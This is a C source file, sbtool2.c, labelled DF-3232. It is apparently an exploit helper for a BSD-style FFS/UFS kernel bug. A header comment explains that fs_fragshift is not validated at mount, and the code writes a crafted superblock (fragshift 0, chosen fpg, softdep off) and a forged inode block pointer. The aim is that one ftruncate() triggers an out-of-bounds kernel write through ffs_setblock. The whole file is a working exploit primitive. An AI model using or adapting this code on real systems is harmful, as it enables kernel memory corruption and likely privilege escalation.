DF-3232 / sbtool2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 | /* * sbtool2.c โ DF-3232 superblock fragshift / inode patcher (root, guest). * * ffs_subr.c's block-bitmap helpers index the cylinder-group free-block * bitmap with * * h = fragstoblks(fs, bno) == bno >> fs->fs_fragshift * * (ffs_alloc.c:1137/1208/1538 call ffs_isblock/ffs_clrblock/ * ffs_isfreeblock/ffs_setblock with this h). The bitmap itself holds * one BIT per FRAGMENT, i.e. bitmap bytes == fpg / fs_frag (one byte per * fs_frag=8 frags). Nothing at mount validates that fs_fragshift == * log2(fs_frag) (ffs_vfsops.c:642-646 checks only magic/bsize; * ffs_oldfscompat never touches it), so with fs_fragshift = 0 every * index is fs_frag times too large and cp[h] reads/writes up to 8x * past the end of the bitmap โ past the end of the bread()'d cg buffer. * * This tool: * info dump the relevant sb + cylinder-group-0 layout * poison <fpg> set fs_fragshift = 0 (and fs_fpg = <fpg>, so that * dtogd(bno) == bno keeps attacker block numbers * inside cylinder group 0) * setdb <ino> <bno> point inode <ino>'s di_db[0] at frag <bno> so a * single ftruncate() frees exactly that block * (ffs_blkfree_cg -> ffs_setblock OOB write) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <err.h> #include <stddef.h> #include <sys/types.h> typedef int32_t ufs_time_t; typedef int32_t ufs_daddr_t; #define _KERNEL_STRUCTURES #define MAXFRAG 8 #include "fs.h" #include "dinode.h" static int fd; static off_t sbpos; static struct fs sb; static void loadsb(void) { if (pread(fd, &sb, sizeof(sb), sbpos) != sizeof(sb)) err(1, "pread sb"); if (sb.fs_magic != FS_MAGIC) errx(1, "bad magic"); } static void printall(void) { struct cg cg; off_t cgoff = (off_t)sb.fs_cblkno * sb.fs_fsize; printf("[sb] bsize=%ld fsize=%ld frag=%ld bshift=%d fshift=%d " "fragshift=%d\n", (long)sb.fs_bsize, (long)sb.fs_fsize, (long)sb.fs_frag, sb.fs_bshift, sb.fs_fshift, sb.fs_fragshift); printf("[sb] fpg=%ld ncg=%ld cpg=%ld spc=%ld size=%ld cgsize=%d " "ipg=%ld inopb=%ld iblkno=%d cblkno=%d sblkno=%d\n", (long)sb.fs_fpg, (long)sb.fs_ncg, (long)sb.fs_cpg, (long)sb.fs_spc, (long)sb.fs_size, sb.fs_cgsize, (long)sb.fs_ipg, (long)sb.fs_inopb, sb.fs_iblkno, sb.fs_cblkno, sb.fs_sblkno); if (pread(fd, &cg, sizeof(cg), cgoff) != sizeof(cg)) err(1, "read cg0"); printf("[cg0] magic=%08x freeoff=%d nextfreeoff=%d clustersumoff=%d " "clusteroff=%d nclusterblks=%d ndblk=%d\n", cg.cg_magic, cg.cg_freeoff, cg.cg_nextfreeoff, cg.cg_clustersumoff, cg.cg_clusteroff, cg.cg_nclusterblks, cg.cg_ndblk); printf("[geom] bitmap bytes (fpg/frag) = %ld ; cg data ends at " "freeoff+bitmap = %d ; buffer = %d bytes\n", (long)(sb.fs_fpg / sb.fs_frag), cg.cg_freeoff + (int)(sb.fs_fpg / sb.fs_frag), sb.fs_cgsize); } int main(int argc, char **argv) { if (argc < 3) { fprintf(stderr, "usage: sbtool2 img " "{info|poison fpg|setdb ino bno}\n"); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open %s", argv[1]); sbpos = 8192; loadsb(); printall(); if (!strcmp(argv[2], "info")) { /* nothing */ } else if (!strcmp(argv[2], "poison") && argc == 4) { int32_t zero = 0, fpg = (int32_t)strtoul(argv[3], NULL, 0); int32_t fsz = sb.fs_fragshift; int32_t flags = sb.fs_flags & ~FS_DOSOFTDEP; printf("[*] poisoning: fs_fragshift %d -> 0, fs_fpg %ld -> %d," " fs_flags %08x -> %08x (softdep off: synchronous free)\n", fsz, (long)sb.fs_fpg, fpg, sb.fs_flags, flags); if (pwrite(fd, &zero, 4, sbpos + offsetof(struct fs, fs_fragshift)) != 4) err(1, "pwrite fragshift"); if (pwrite(fd, &fpg, 4, sbpos + offsetof(struct fs, fs_fpg)) != 4) err(1, "pwrite fpg"); if (pwrite(fd, &flags, 4, sbpos + offsetof(struct fs, fs_flags)) != 4) err(1, "pwrite flags"); } else if (!strcmp(argv[2], "setdb") && argc == 5) { uint32_t ino = (uint32_t)strtoul(argv[3], NULL, 0); int32_t bno = (int32_t)strtol(argv[4], NULL, 0); /* * Locate the inode using STOCK semantics (the image is * still unpoisoned at this point): first inode block of * cg0. blkstofrags(blk) = blk * 8. */ off_t blk = (off_t)((ino % sb.fs_ipg) / sb.fs_inopb); off_t frag = sb.fs_iblkno + blk * sb.fs_frag; off_t ioff = frag * sb.fs_fsize + (off_t)((ino % sb.fs_inopb) * sizeof(struct ufs1_dinode)); struct ufs1_dinode di; printf("[*] ino %u: inode block frag %ld, byte off %ld " "(sizeof dinode=%zu)\n", ino, (long)frag, (long)ioff, sizeof(di)); if (pread(fd, &di, sizeof(di), ioff) != sizeof(di)) err(1, "pread dinode"); if ((di.di_mode & IFMT) == 0) errx(3, "inode %u at off %ld looks EMPTY โ wrong ino", ino, (long)ioff); printf("[*] before: mode=%06o nlink=%u size=%llu db0=%ld " "db1=%ld\n", di.di_mode, (unsigned)di.di_nlink, (unsigned long long)di.di_size, (long)di.di_db[0], (long)di.di_db[1]); di.di_db[0] = bno; di.di_size = sb.fs_bsize; di.di_nlink = 1; di.di_mode = IFREG | 0666; if (pwrite(fd, &di, sizeof(di), ioff) != sizeof(di)) err(1, "pwrite dinode"); printf("[*] after : db0=%d size=%lu โ ftruncate() will free " "this block via ffs_setblock(h=%d>>fragshift)\n", bno, (unsigned long)sb.fs_bsize, bno); } else { fprintf(stderr, "bad args\n"); return (2); } loadsb(); printf("[sb-after] fragshift=%d fpg=%ld\n", sb.fs_fragshift, (long)sb.fs_fpg); return (0); } |